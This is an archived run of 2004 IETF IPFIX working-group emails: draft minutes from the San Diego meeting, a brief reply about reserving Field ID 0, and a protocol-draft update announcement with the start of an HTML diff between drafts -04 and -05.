	for ipfix@net.doit.wisc.edu; Tue, 10 Aug 2004 16:06:09 -0500
Date: Tue, 10 Aug 2004 16:06:09 -0500
From: Dave Plonka <plonka@doit.wisc.edu>
To: ipfix@net.doit.wisc.edu
Subject: [ipfix] DRAFT IPFIX meeting minutes, 60th IETF, San Diego
Message-ID: <20040810160609.A20257@doit.wisc.edu>
Reply-To: plonka@doit.wisc.edu
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="RnlQjJ0d97Da+TV1"
X-Mailer: Mutt 1.0.1i
X-Organization: University of Wisconsin-Madison, DoIT Network Services
X-Organization-Too: Wisconsin Advanced Internet Laboratory (WAIL)
X-URL: http://net.doit.wisc.edu/~plonka/
X-VMS-Error: %SYSTEM-F-BADQFILE, invalid disk quota file format
X-Shakespearean-Insult: Thou gorbellied weather-bitten pumpion
Precedence: bulk
Sender: majordomo listserver <majordomo@mil.doit.wisc.edu>


--RnlQjJ0d97Da+TV1
Content-Type: text/plain; charset=us-ascii


Hello IPFIXers,

Please review the attached DRAFT minutes of the IPFIX meeting last week
Wednesday afternoon.  You are welcome to send any follow-up
comments/suggestions/corrections to the list.

The minutes can also be found here:

   http://ipfix.doit.wisc.edu/IETF60/minutes.txt
      
Thanks,
Dave

-- 
plonka@doit.wisc.edu  http://net.doit.wisc.edu/~plonka  ARS:N9HZF  Madison, WI

--RnlQjJ0d97Da+TV1
Content-Type: text/plain
Content-Disposition: attachment; filename="minutes.txt"

DRAFT Minutes of the IP Flow Information eXport (IPFIX) WG
IETF 60, San Diego, Wednesday August 4, 2004
42 people in attendance

Reported by Dave Plonka & Nevil Brownlee (co-chairs) based on notes
from Colleen Shannon and George Michaelson.

The text messaging log is available here:

   http://www.xmpp.org/ietf-logs/ipfix@ietf.xmpp.org/2004-08-04.html

The meeting agenda and slides are available here:

   http://ipfix.doit.wisc.edu/IETF60/

[please see the agenda slides there for the sequence of topics:
 http://ipfix.doit.wisc.edu/IETF60/0-ietf60-ipfix-agenda.pdf ]

----

At the opening of the meeting the chairs reiterated that both the
Evaluation Report and Requirements drafts and have been approved by the
IESG and are in the RFC-Editor's queue.

----

David Moore presented work on "Building a Better NetFlow".

[Note: the chairs included this talk so as to consider whether or not
       the IPFIX protocol, as currently defined, has sufficient
       features to accommodate potential modifications to flow export
       in practice.]

This work proposes a new technique to simplify the configuration of
flow export by using a fixed time interval (such as five minutes) for
flow termination and to deliver a predictable (configured) number of
flow records to the collector.  It does this by automatically
decreasing the number of packets sampled if necessary (to avoid
exporter resource exhaustion) and pace the export throughout the
subsequent time slot.  This is to avoid exporter failure due to
resource exhaustion by bounding the resource requirement, and how it
simplifies configuration for operators by specifying only how many
flows records are desired per time interval.

[see slides for details:
 http://ipfix.doit.wisc.edu/IETF60/1-ietf60-ipfix-moore-better.pdf ]

The technique itself was discussed, and its implications for IPFIX.  In
particular, the IPFIX protocol would need to allow the exporter to
regularly inform the collector of the sample rate for each interval.
This would be done with option templates and option records.

----

Arne Oslebo presented "IPFIX Implementation Notes" on behalf of its
author, Luca Deri.

[ see slides and the draft for details:
  http://ipfix.doit.wisc.edu/IETF60/2-ietf60-ipfix-deri-implementation.ppt
  http://www.ietf.org/internet-drafts/draft-deri-impl-00.txt ]

During the discussion, it was mentioned that the concerns regarding
Vendor-specific Extensions have been addressed in the most recent
protocol draft version (-03).

----

Simon Leinen presented his draft about IPFIX over TCP.

[ see slides and the draft for details:
  http://ipfix.doit.wisc.edu/IETF60/3-ietf60-ipfix-leinen-tcp.pdf
  http://www.ietf.org/internet-drafts/draft-leinen-ipfix-tcp-00.txt ]

Discussion included:

 * Should the IPFIX exporter or collector initiate the TCP
   connection(s)?  It was noted that an exporter-initiated TCP
   connection better matches the implementation over other transports
   (SCTP, UDP).  Also, concern was raised that the router being the
   server-side might make it more vulnerable to attack.

 * Simon suggested using TLS with TCP, which causes us to consider what
   negotiation might be required.  It was suggested to avoid
   handshake/negotiate by configuring TLS out-of-band on both the
   exporter and collector.  This should be discussed on the mailing
   list.

 * Simon offered to produce new version(s) of the draft, the content to
   be ultimately be moved into the protocol draft when Simon finishes
   this work.

----

Nevil Brownlee gave an overview of the four IPFIX documents' purposes.

----

Benoit Claise brought us up to date on the protocol draft changes and
open issues.

[ see slides and the draft for details:
  http://ipfix.doit.wisc.edu/IETF60/4-ietf60-ipfix-claise-proto.pdf ]

Discussion included:

 * Benoit proposed eliminating scope values/namespace, and reusing
   like-named information elements or fields.  This will reduce
   IANA-managed namespaces and will better enable IPFIX users to
   correlate template values with the scope reported in records.

 * We discussed changing the term "FlowSet" to simply "Set" throughout
   IPFIX documents.  For instance, Option Template FlowSet becomes
   Option Template Set, which is less confusing.

 * The drafts will specify that some FlowSet values in IPFIX are
   reserved or not used for historical reasons (i.e. in the basis
   protocol, NetFlowV9) and that IPFIX does not require those features
   to be implemented.  Approximately the following wording was
   proposed:  "For historical reasons, the FlowSet ID value of 0 and 1
   MUST NOT be used."

 * It was suggested that IPFIX and PSAMP share a single namespace for
   information elements, rather than splitting them at a "magic
   number".

 * It was suggested that complete specifications (detailed
   descriptions) of information elements should be maintained by IANA.
   An expert panel should be identified to review IE additions for
   IANA.  Such reviews should also consider security implications.

 * Discussion should follow in the mailing to define, in the protocol
   specification, just the minimum set of MUST-implement information
   elements for metering process statistics.  This is necessary to
   satisfy the IPFIX requrements regarding packet/byte/flow reporting
   losses by sending this via options templates/records.

Benoit said that he will produce a new version of the draft within one
week.

----

Juergen Quittek reported the status of the IPFIX Information Model
draft, which is still very much under construction.

[ see slides and the draft for details:
  http://ipfix.doit.wisc.edu/IETF60/5-ietf60-ipfix-quittek-info-model.ppt ]

Juregen mentioned that Jeff Meyer has not been available recently, but
Stuart Bryant & Benoit Claise have helped.

Discussion included:

 * What to do regarding bi-direction counters, for instance inPackets,
   outPackets, and just packets (where direction is unspecified)?  This
   topic will be discussed on the mailing list.

 * What to do with reporting fields whose values vary within a single
   flow variable such as TTL, TCPFlags, multicast replication, etc.  In
   response it was suggested to rigorously define the semantics in the
   IE description.  This topic will be discussed on the mailing list.

 * Concern was again raised with field number simultaneous in both
   PSAMP and IPFIX.  Until the IANA hand-off, it was proposed that
   PSAMP and IPFIX will coordinate their use of numbers.

----

Nevil Brownlee brought us up to date on the architecture draft changes
and open issues.

[ see slides and the draft for details:
  http://ipfix.doit.wisc.edu/IETF60/6-ietf60-ipfix-brownlee-arch-03.pdf ]

 * The terms "Flow Recording Process" and "Flow Aggregation" will be
   removed from all IPFIX documents for the sake of clarity and
   removing unnecessary complications.  (Their functions may still play
   a part, but the hidden within another component.)

 * Nevil mentioned that the Security Considerations section is a bit
   too light on content.  For example, it would benefit from more
   discussion of threats.

 * The term "field" versus "information element" was discussed, with
   some attendees in favor of either for different circumstances.  This
   issue deserves follow-up on the mailing list.

 * Nevil discussed whether or not the architecture and protocol
   documents must share exactly the same entries in the terminology
   section, given that the documents have differing goals.  Some
   preference was expressed for verbatim consistency, perhaps over
   brevity, since the current terminology was carefully arrived at.

----

Tanja Zseby reported that the applicability statement draft has just
had a bit of restructuring and a little new content: not many changes.

----

The chairs asked for volunteers regarding security work.  We need the
sort of content that would be in a "threats" draft, but suggest putting
it in the architecture draft.  Also, we could use expertise regarding
TLS, IPSEC, etc.

----

[ Note from chairs:

  We expect new versions of the protocol and architecture drafts
  shortly after this meeting.

  The chairs would like to do last call on one or more of those revised
  drafts before the next IETF meeting. ]

----
$Id: minutes.txt,v 1.4 2004/08/10 21:01:15 dplonka Exp $

--RnlQjJ0d97Da+TV1--

--
Help        mailto:majordomo@net.doit.wisc.edu and say "help" in message body
Unsubscribe mailto:majordomo@net.doit.wisc.edu and say
"unsubscribe ipfix" in message body
Archive     http://ipfix.doit.wisc.edu/archive/


From majordomo@mil.doit.wisc.edu  Wed Aug 11 04:10:12 2004
Received: from mil.doit.wisc.edu (mil.doit.wisc.edu [128.104.31.31])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA11206
	for <ipfix-archive@lists.ietf.org>; Wed, 11 Aug 2004 04:10:12 -0400 (EDT)
Received: from majordomo by mil.doit.wisc.edu with local (Exim 3.13 #1)
	id 1Bunse-0003hQ-00
	for ipfix-list@mil.doit.wisc.edu; Wed, 11 Aug 2004 02:50:40 -0500
Received: from kyoto.netlab.nec.de ([195.37.70.21])
	by mil.doit.wisc.edu with esmtp (Exim 3.13 #1)
	id 1Bunsd-0003gg-00
	for ipfix-info@net.doit.wisc.edu; Wed, 11 Aug 2004 02:50:39 -0500
Received: from [10.1.1.171] (marseille.netlab.nec.de [195.37.70.15])
	by kyoto.netlab.nec.de (Postfix) with ESMTP id 19E951BAC4D;
	Wed, 11 Aug 2004 09:50:35 +0200 (CEST)
Date: Wed, 11 Aug 2004 09:50:40 +0200
From: Juergen Quittek <quittek@netlab.nec.de>
To: Benoit Claise <bclaise@cisco.com>, ipfix-info@net.doit.wisc.edu
Subject: Re: [ipfix-info] reserved Field ID 0
Message-ID: <2147483647.1092217840@[10.1.1.171]>
In-Reply-To: <41189800.8070306@cisco.com>
References:  <41189800.8070306@cisco.com>
X-Mailer: Mulberry/3.0.3 (Mac OS X)
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline
Precedence: bulk
Sender: majordomo listserver <majordomo@mil.doit.wisc.edu>
Content-Transfer-Encoding: 7bit

Benoit,

--On 10.08.2004 11:40 h +0200 Benoit Claise wrote:

> Hi,
>
> To make sure we avoid any potential (*) confusion with the padding of 0, I suggest we put the Field 0 as "reserved".
> (*) note that [IPFIX-PROTO] is clear about it, however it can only help.

I fully support your proposal.

    Juergen


> Regards, Benoit.
>
>
> --
> Help        mailto:majordomo@net.doit.wisc.edu and say "help" in message body
> Unsubscribe mailto:majordomo@net.doit.wisc.edu and say
> "unsubscribe ipfix" in message body
> Archive     http://ipfix.doit.wisc.edu/archive/





--
Help        mailto:majordomo@net.doit.wisc.edu and say "help" in message body
Unsubscribe mailto:majordomo@net.doit.wisc.edu and say
"unsubscribe ipfix" in message body
Archive     http://ipfix.doit.wisc.edu/archive/


From majordomo@mil.doit.wisc.edu  Fri Aug 13 07:18:34 2004
Received: from mil.doit.wisc.edu (mil.doit.wisc.edu [128.104.31.31])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id HAA06710
	for <ipfix-archive@lists.ietf.org>; Fri, 13 Aug 2004 07:18:32 -0400 (EDT)
Received: from majordomo by mil.doit.wisc.edu with local (Exim 3.13 #1)
	id 1BvZdE-0007T6-00
	for ipfix-list@mil.doit.wisc.edu; Fri, 13 Aug 2004 05:49:56 -0500
Received: from weird-brew.cisco.com ([144.254.15.118] helo=strange-brew.cisco.com)
	by mil.doit.wisc.edu with esmtp (Exim 3.13 #1)
	id 1BvZd9-0007Pf-00
	for ipfix-protocol@net.doit.wisc.edu; Fri, 13 Aug 2004 05:49:51 -0500
Received: from [192.168.0.3] (ams-clip-vpn-dhcp4415.cisco.com [10.61.81.62])
	by strange-brew.cisco.com (8.11.7+Sun/8.8.8) with ESMTP id i7DAndg22610;
	Fri, 13 Aug 2004 12:49:39 +0200 (CEST)
Message-ID: <411C9CC3.8080606@cisco.com>
Date: Fri, 13 Aug 2004 12:49:39 +0200
From: Benoit Claise <bclaise@cisco.com>
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7) Gecko/20040514
X-Accept-Language: en-us, en
MIME-Version: 1.0
To: ipfix-protocol@net.doit.wisc.edu
Subject: [ipfix-protocol] New version of the IPFIX protocol draft posted
Content-Type: multipart/mixed;
 boundary="------------030704050604080505060801"
Precedence: bulk
Sender: majordomo listserver <majordomo@mil.doit.wisc.edu>

This is a multi-part message in MIME format.
--------------030704050604080505060801
Content-Type: multipart/alternative;
 boundary="------------070205090108090100000905"


--------------070205090108090100000905
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit

Dear all,

As promised during last week IETF, a new version of the IPFIX protocol 
draft has been posted.
A lot of efforts have been spent on this new draft, please review it.
The list of open issues has been updated with the latest information.

I've always been thinking the drafts review process in the IETF is not 
quite efficient, as we have to trust the editor summary email (if any) 
for all the changes applied to the new draft version ... which most of 
the time implies reading the entire draft... which causes delay in the 
review...
So I've included the a riff file between the two previous versions, 
based on htmlwdiff.
As you can see, many changes ;)

_UPDATES:_
- Nevil, David, Juergen and I met for a few hours to improve the draft.
   Too many small text improvements, typos corrections, etc... to list 
them all.
   See the attached file.
- Nevil reviewed a second time the draft, just before posting it. Again 
some good comments.
- PROTO-1: Is flowSet the right term to use?
    - leave as is
    - Record Set
    - Record Array
    - Record Collection
    - Record List
 RESOLVED with Set
- PROTO-2: Some discrepancies between data types, field type and 
Information Element terminology.
  RESOLVED: use Information Elements (see definition) and Field Type 
(when it refers to the packet field). Remove the notion of data types.
- PROTO-[16-19]:  Some scope issues
  RESOLVED: modified the Option Template so that the scope contains a 
normal Information Element, modified the Option Data Records, and add 
the section 7.5.1 on the scope relationship. Changed the example 
according to the new scope
- PROTO-27: Correct the examples: no more FlowSet 0 and 1.
   RESOLVED
- PROTO-29: numbered all the figures
  RESOLVED
-  Exporter is not in the terminology, while IPFIX Node and IPFIX Device 
are. Collector is also in the terminology section. Collector: The device 
which hosts one or more Collecting Processes.
  RESOLVED: keep the IPFIX Device, introduce the Exporter, remove the 
IPFIX Node
- the Data Record is not in the terminology. However, it's used 
capitalized in the text.
  RESOLVED
- Flow Type is a function? Clarification of the meaning!
  can we eliminate it, as it's only used in the "Control Information, 
Data Stream"?
  RESOLVED: The Flow Type, an heritage from [IPFIX-ARCH] is only used in 
the Control Information, Data Stream", which is not used throughout the 
document. As a consequence, both definitions ("Flow Type" and "Control 
Information, Data Stream") are removed from this draft.
- Private Addresses in the example. See RFC3330
  RESOLVED: the examples take 192.168.0.0/16 IP addresses (RFC3330)
- Improve the Padding definitions
  RESOLVED. Integrated David More's comment on the mailing list

    The padding length MUST be shorter than any allowable Flow Data
    Record in this Data Set.
    This sentence has been adapted for the 4 instances of padding:
    Template FlowSet, Options Template FlowSet, Data FlowSet (options
    data record and flow data record)

- Add some new text about the measurement parameters change, as 
privately discussed with David Moore

    If the measurement parameters change, a new Template ID SHOULD be
    initiated and used. Examples of the measurement changes are: a new
    sampling rate, a new flow expiration process, a new filtering
    definitions, etc...

- Removed the MUST, SHOULD, MAY concerning the metering process flow 
expiration.
- Packet sampling sentence has been removed from the paragraph 2.1. The 
Flow definitions has been augmented with " It includes packets selected 
by a sampling mechanism."
- Insert a double space after sentence finishing with a dot.
  I attended the editor's training in San Diego. This "weird practice" 
is still needed.
- Made sure all definitions are capitalized
  RESOLVED: the rule I applied is simple: every term in the terminology 
is capitalized once defined.
- IPR statement added.

Notes:
- the new IANA considerations section is currently under construction 
but couldn't make it to this pass.
- I won't be able to work on IPFIX before mid-September, due to vacations


Enjoy, Benoit.*/|



|/*



--------------070205090108090100000905
Content-Type: text/html; charset=us-ascii
Content-Transfer-Encoding: 7bit

<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">
<html>
<head>
  <meta content="text/html;charset=ISO-8859-1" http-equiv="Content-Type">
  <title></title>
</head>
<body bgcolor="#ffffff" text="#000000">
<meta content="text/html;charset=ISO-8859-1" http-equiv="Content-Type">
<title></title>
<font face="Courier New">Dear all,<br>
<br>
As promised during last week IETF, a new version of the IPFIX protocol
draft has been posted.<br>
A lot of efforts have been spent on this new draft, please review it.<br>
The list of open issues has been updated with the latest information.<br>
<br>
I've always been thinking the drafts review process in the IETF is not
quite efficient, as we have to trust the editor summary email (if any)
for all the changes applied to the new draft version ... which most of
the time implies reading the entire draft... which causes delay in the
review...<br>
So I've included the a riff file between the two previous versions,
based on htmlwdiff.<br>
As you can see, many changes ;)<br>
<br>
<u>UPDATES:</u><br>
- Nevil, David, Juergen and I met for a few hours to improve the draft.<br>
&nbsp;&nbsp; Too many small text improvements, typos corrections, etc... to list
them all.<br>
&nbsp;&nbsp; See the attached file.<br>
- Nevil reviewed a second time the draft, just before posting it. Again
some good comments.<br>
- PROTO-1: Is flowSet the right term
to
use?<br>
<span style="font-family: &quot;Courier New&quot;;"><span style="">&nbsp;&nbsp;&nbsp; </span>-
leave as is</span><br>
<span style="font-family: &quot;Courier New&quot;;"><span style="">&nbsp;&nbsp;&nbsp; </span>-
Record Set</span><br>
<span style="font-family: &quot;Courier New&quot;;"><span style="">&nbsp;&nbsp;&nbsp; </span>-
Record Array</span><br>
<span style="font-family: &quot;Courier New&quot;;"><span style="">&nbsp;&nbsp;&nbsp; </span>-
Record Collection</span><br>
<span style="font-family: &quot;Courier New&quot;;"><span style="">&nbsp;&nbsp;&nbsp; </span>-
Record List<o:p></o:p></span>
<br>
<span style="font-family: &quot;Courier New&quot;;">&nbsp;RESOLVED with Set<o:p></o:p></span>
<br>
<span style="font-family: &quot;Courier New&quot;;"><o:p></o:p></span>- PROTO-2:
Some discrepancies between data types, field type and
Information Element terminology.<br>
<span style="font-size: 12pt; font-family: &quot;Times New Roman&quot;;">&nbsp;
RESOLVED: use Information Elements (see definition) and Field
Type (when
it refers to the packet field). Remove the notion of data types.</span><br>
<span style="font-size: 12pt; font-family: &quot;Times New Roman&quot;;"></span><span
 style="font-size: 12pt; font-family: &quot;Times New Roman&quot;;"></span><span
 style="font-size: 12pt; font-family: &quot;Times New Roman&quot;;">-
PROTO-[16-19]:&nbsp;
Some scope issues</span><br>
<span style="font-size: 12pt; font-family: &quot;Times New Roman&quot;;">&nbsp;
RESOLVED: modified the Option
Template so that the scope contains a normal Information Element,
modified the Option Data Records, and add the section 7.5.1 on the
scope
relationship. </span><span
 style="font-size: 12pt; font-family: &quot;Times New Roman&quot;;">Changed the
example
according to the new scope</span><br>
<span style="font-size: 12pt; font-family: &quot;Times New Roman&quot;;"></span><span
 style="font-size: 12pt; font-family: &quot;Times New Roman&quot;;"></span><span
 style="font-family: &quot;Courier New&quot;;">- PROTO-27: </span><span
 style="font-family: &quot;Courier New&quot;;">Correct the examples: no more
FlowSet 0 and 1.
<o:p></o:p></span><br>
&nbsp;&nbsp;
<span style="font-size: 12pt; font-family: &quot;Courier New&quot;;">RESOLVED</span><br>
<span style="font-size: 12pt; font-family: &quot;Courier New&quot;;"></span><span
 style="font-family: &quot;Courier New&quot;;">- </span><span
 style="font-family: &quot;Courier New&quot;;">PROTO-29: numbered all the figures<o:p></o:p></span>
<br>
<span style="font-family: &quot;Courier New&quot;;"><span style="">&nbsp; RESOLVED</span><o:p></o:p></span><br>
<span style="font-size: 12pt; font-family: &quot;Times New Roman&quot;;"></span>-&nbsp;
<span style="font-family: &quot;Courier New&quot;;">Exporter is not in the
terminology,
while IPFIX Node and IPFIX Device are. Collector is also in the
terminology
section. Collector: The device which hosts one or more Collecting
Processes.<o:p></o:p></span>
<br>
<span style="font-family: &quot;Courier New&quot;;">&nbsp; RESOLVED: keep the IPFIX
Device,
introduce the Exporter, remove the IPFIX Node<o:p></o:p></span>
<br>
<span style="font-family: &quot;Courier New&quot;;">- the Data Record is not
in the
terminology. However, it's used capitalized in the text.<o:p></o:p></span>
<br>
<span style="font-family: &quot;Courier New&quot;;">&nbsp; RESOLVED</span><br>
<span style="font-family: &quot;Courier New&quot;;"></span><span
 style="font-family: &quot;Courier New&quot;;">- Flow Type is a function?
Clarification
of the meaning!</span><br>
<span style="font-family: &quot;Courier New&quot;;">&nbsp; can we eliminate it, as
it's only used in the "</span><span style="font-family: &quot;Courier New&quot;;">Control
Information, Data Stream"</span><span
 style="font-family: &quot;Courier New&quot;;">? <o:p></o:p></span>
<br>
<span style="font-family: &quot;Courier New&quot;;">&nbsp; RESOLVED: The Flow Type, an
heritage
from [IPFIX-ARCH] is only used in the </span><span
 style="font-family: &quot;Courier New&quot;;">Control
Information, Data Stream"</span><span
 style="font-family: &quot;Courier New&quot;;">,
which is not used throughout the document. As a consequence, both
definitions
("Flow Type" and "</span><span style="font-family: &quot;Courier New&quot;;">Control
Information, Data Stream") are removed from this draft.</span><br>
<span style="font-family: &quot;Courier New&quot;;"></span><span
 style="font-family: &quot;Courier New&quot;; color: black;">- Private
Addresses in the example. See RFC3330<o:p></o:p></span>
<br>
<span style="font-family: &quot;Courier New&quot;; color: black;">&nbsp; RESOLVED: the
examples take 192.168.0.0/16 IP
addresses (RFC3330)<o:p></o:p></span>
<br>
<span style="font-family: &quot;Courier New&quot;;">- Improve the Padding
definitions</span><br>
<span style="font-family: &quot;Courier New&quot;;"></span><span
 style="font-family: &quot;Courier New&quot;;">&nbsp; RESOLVED. Integrated David
More's comment on the mailing list<o:p></o:p></span>
<br>
</font>
<meta content="text/html;charset=ISO-8859-1" http-equiv="Content-Type">
<title></title>
<blockquote><font face="Courier New"><span
 style="font-family: &quot;Courier New&quot;;">The padding length MUST be shorter
than any
allowable Flow Data Record in this Data Set.<o:p></o:p></span><br>
  <span style="font-size: 12pt; font-family: &quot;Courier New&quot;;">This
sentence has been adapted for the 4 instances of padding: Template
FlowSet, Options Template FlowSet, Data FlowSet (options data record
and flow
data record)</span><br>
  </font></blockquote>
<font face="Courier New"><span
 style="font-size: 12pt; font-family: &quot;Courier New&quot;;">
</span><span style="font-size: 12pt; font-family: &quot;Courier New&quot;;"></span><span
 style="font-size: 12pt; font-family: &quot;Courier New&quot;;"></span><span
 style="font-size: 12pt; font-family: &quot;Courier New&quot;;">- Add some new
text about the measurement parameters change, as privately discussed
with </span><span style="font-size: 12pt; font-family: &quot;Courier New&quot;;">David
Moore</span><br>
<span style="font-size: 12pt; font-family: &quot;Courier New&quot;;"></span></font>
<blockquote><font face="Courier New"><span
 style="font-size: 12pt; font-family: &quot;Courier New&quot;;"></span><span
 style="font-size: 12pt; font-family: &quot;Courier New&quot;;" lang="EN-GB">If
the measurement
parameters change, a new Template ID SHOULD be initiated and used.
Examples of
the measurement changes are: a new sampling rate, a new flow expiration
process,
a new filtering definitions, etc...</span><br>
  </font></blockquote>
<font face="Courier New"><span
 style="font-size: 12pt; font-family: &quot;Courier New&quot;;" lang="EN-GB"></span>-
Removed the MUST, SHOULD, MAY concerning the metering process flow
expiration.<br>
<span style="font-size: 12pt; font-family: &quot;Courier New&quot;;" lang="EN-GB"></span><span
 style="font-family: &quot;Courier New&quot;; color: black;"></span><span
 style="font-family: &quot;Courier New&quot;; color: black;"><o:p></o:p></span><span
 style="font-size: 12pt;" lang="EN-GB">- Packet sampling sentence has
been removed from the paragraph 2.1. The Flow definitions has been
augmented with " It includes packets selected by a sampling mechanism."</span><span
 style="font-size: 12pt;" lang="EN-GB"><o:p></o:p></span>
<br>
<span style="font-family: &quot;Courier New&quot;;">- Insert a double
space
after sentence finishing with a dot.<o:p></o:p></span>
<br>
<span style="font-family: &quot;Courier New&quot;;"><span style="">&nbsp; I attended
the editor's training in San Diego. This "weird practice" is still
needed.</span></span><br>
<span style="font-family: &quot;Courier New&quot;;">- Made sure all
definitions are capitalized<o:p></o:p></span>
<br>
<span style="font-family: &quot;Courier New&quot;;"><span style="">&nbsp; </span></span><span
 style="font-family: &quot;Courier New&quot;;">RESOLVED:
the rule I applied is simple: every term in the terminology is
capitalized once
defined.</span><br>
<span style="font-family: &quot;Courier New&quot;;"></span><span
 style="font-family: &quot;Courier New&quot;;">- IPR statement added.<br>
<br>
Notes: <br>
- </span><span style="font-size: 12pt; font-family: &quot;Courier New&quot;;">the
new IANA
considerations section is currently under construction but couldn't
make it to this pass.<br>
- I won't be able to work on IPFIX before mid-September, due to
vacations<br>
<br>
<br>
Enjoy, Benoit.</span></font><strong><em><code><var><span
 style="font-size: 12pt; font-family: &quot;Courier New&quot;;"><br>
</span><span style="font-size: 12pt; font-family: &quot;Courier New&quot;;"></span><br>
<span style="font-size: 12pt; font-family: &quot;Courier New&quot;;"></span><br>
<br>
<span style="font-family: &quot;Courier New&quot;;"><o:p></o:p></span></var></code></em></strong>
<p class="MsoNormal" style="margin-left: 27pt;"><br>
<span style="font-family: &quot;Courier New&quot;;"><o:p></o:p></span></p>
</body>
</html>

--------------070205090108090100000905--

--------------030704050604080505060801
Content-Type: text/html;
 name="diff-proto04-proto05.html"
Content-Disposition: inline;
 filename="diff-proto04-proto05.html"
Content-Transfer-Encoding: quoted-printable
X-MIME-Autoconverted: from 8bit to quoted-printable by strange-brew.cisco.com id i7DAndg22610
Content-Transfer-Encoding: quoted-printable

<pre>

   IPFIX working group                                                 =20
   Internet Draft                               EDITOR:      B. Claise=20
   <strike><font color=3Dred>draft-ietf-ipfix-protocol-04.txt</font></str=
ike>=20
   <strong><font color=3Dgreen>draft-ietf-ipfix-protocol-05.txt</font></s=
trong>                       Cisco Systems=20
   Expires: <strike><font color=3Dred>January</font></strike> <strong><fo=
nt color=3Dgreen>February</font></strong> 2005                           =
           <strike><font color=3Dred>July</font></strike>                =
                   <strong><font color=3Dgreen>August</font></strong> 200=
4=20
                                                                       =20
                                                                       =20
   =20
   =20
   =20
                       IPFIX Protocol <strike><font color=3Dred>Specifica=
tions</font></strike> <strong><font color=3Dgreen>Specification</font></s=
trong> =20
=20
                                     =20
   =20
 Status of this Memo=20
 =20
   <strong><font color=3Dgreen>By submitting this Internet-Draft, each au=
thor represents that any=20
   applicable patent or other IPR claims of which he or she is aware=20
   have been or will be disclosed, and any of which he or she becomes=20
   aware will be disclosed, in accordance with Section 6 of RFC 3668.</fo=
nt></strong> =20
   =20
   This document is an Internet-Draft and is in full conformance with=20
   all provisions of Section 10 of RFC2026. =20
   =20
   Internet-Drafts are working documents of the Internet Engineering=20
   Task Force (IETF), its areas, and its working groups.  Note that=20
   other groups may also distribute working documents as Internet-
   Drafts.  Internet-Drafts are draft documents valid for a maximum of=20
   six months and may be updated, replaced, or obsolete by other=20
   documents at any time.  It is inappropriate to use Internet-Drafts=20
   as reference material or to cite them other than as "work in=20
   progress."=20
    =20
   The list of current Internet-Drafts can be accessed at=20
   http://www.ietf.org/ietf/1id-abstracts.txt =20
   The list of Internet-Draft Shadow Directories can be accessed at=20
   <strike><font color=3Dred>http://www.ietf.org/shadow.html.</font></str=
ike>=20
   <strong><font color=3Dgreen>http://www.ietf.org/shadow.html</font></st=
rong>=20
   =20
 Abstract=20
 =20
   This document specifies the IPFIX protocol that provides network=20
   operators with access to IP flow information.  In order to export=20
   IP flow information to the IPFIX collecting process, a common method=20
   of representing the flow data and a standard means of communicating=20
   them from an exporter to a collector <strong><font color=3Dgreen>is</f=
ont></strong> required.  This document=20
   describes how the IPFIX flow record data, options record data and=20
   <strike><font color=3Dred>control information (templates for example)<=
/font></strike>=20

=20
=20
  <strong><font color=3Dgreen>Claise, et. al            Standard Track   =
                 [Page 1]=20
                   IPFIX Protocol Specification            August 2004=20
=20
=20
   templates</font></strong> are carried over a congestion-aware transpor=
t protocol=20
   from <strong><font color=3Dgreen>an</font></strong> IPFIX exporting pr=
ocess to <strong><font color=3Dgreen>an</font></strong> IPFIX collecting =
process.=20
   =20
=20
=20
 <strike><font color=3Dred>Claise, et. al             Standard Track     =
               [Page 1]=20
=0C                   IPFIX Protocol Specifications             July 2004=
</font></strike>=20
   =20
 Conventions used in this document=20
 =20
   The key words "MUST", "MUST NOT", "REQUIRED", "SHALL", "SHALL NOT",=20
   "SHOULD", "SHOULD NOT", "RECOMMENDED", "MAY", and "OPTIONAL" in this=20
   document are to be interpreted as described in RFC 2119.=20
   =20
 Table of Contents=20
 =20
     1. Points of Discussion.........................................3=20
      <strike><font color=3Dred>1.1 Open Issues..........................=
......................3=20
      1.2 Action Items...............................................6</f=
ont></strike>=20
     2. Introduction.................................................6=20
      2.1 IPFIX Documents Overview...................................6=20
     3. Terminology..................................................7=20
      3.1 Terminology Summary <strike><font color=3Dred>Table............=
.....................12</font></strike> <strong><font color=3Dgreen>Table=
.................................11</font></strong>=20
     4. Criteria for Flow Expiration and <strike><font color=3Dred>Export=
.....................13</font></strike> <strong><font color=3Dgreen>Expor=
t.....................12</font></strong>=20
      4.1 Flow <strike><font color=3Dred>Expiration......................=
.....................13</font></strike> <strong><font color=3Dgreen>Expir=
ation...........................................12</font></strong>=20
      4.2 Flow Export...............................................13=20
     5. Transport <strike><font color=3Dred>Protocol.....................=
.....................14</font></strike> <strong><font color=3Dgreen>Proto=
col..........................................13</font></strong>=20
      5.1 Transport Compliance and Transport <strike><font color=3Dred>Us=
age..................14</font></strike> <strong><font color=3Dgreen>Usage=
..................13</font></strong>=20
      5.2 <strike><font color=3Dred>TCP..................................=
.....................15</font></strike> <strong><font color=3Dgreen>TCP..=
.....................................................14</font></strong>=20
      5.3 <strike><font color=3Dred>SCTP.................................=
.....................15</font></strike> <strong><font color=3Dgreen>SCTP.=
.....................................................14</font></strong>=20
     5.3.1   Congestion <strike><font color=3Dred>Avoidance..............=
.....................15</font></strike> <strong><font color=3Dgreen>Avoid=
ance...................................14</font></strong>=20
     5.3.2   <strike><font color=3Dred>Reliability.......................=
.....................15</font></strike>   <strong><font color=3Dgreen>Rel=
iability............................................14</font></strong>=20
     5.3.3   <strike><font color=3Dred>MTU...............................=
.....................15</font></strike>   <strong><font color=3Dgreen>MTU=
....................................................14</font></strong>=20
     5.3.4   Exporting Process......................................15=20
     5.3.4.1  Association...........................................15=20
     5.3.4.2  Source <strike><font color=3Dred>ID........................=
.....................16</font></strike> <strong><font color=3Dgreen>ID...=
..........................................15</font></strong>=20
     5.3.4.3  <strike><font color=3Dred>Stream...........................=
.....................16</font></strike>  <strong><font color=3Dgreen>Stre=
am................................................15</font></strong>=20
     5.3.4.4  <strike><font color=3Dred>Template.........................=
.....................17</font></strike>  <strong><font color=3Dgreen>Temp=
late..............................................16</font></strong>=20
     5.3.5   Collecting <strike><font color=3Dred>Process................=
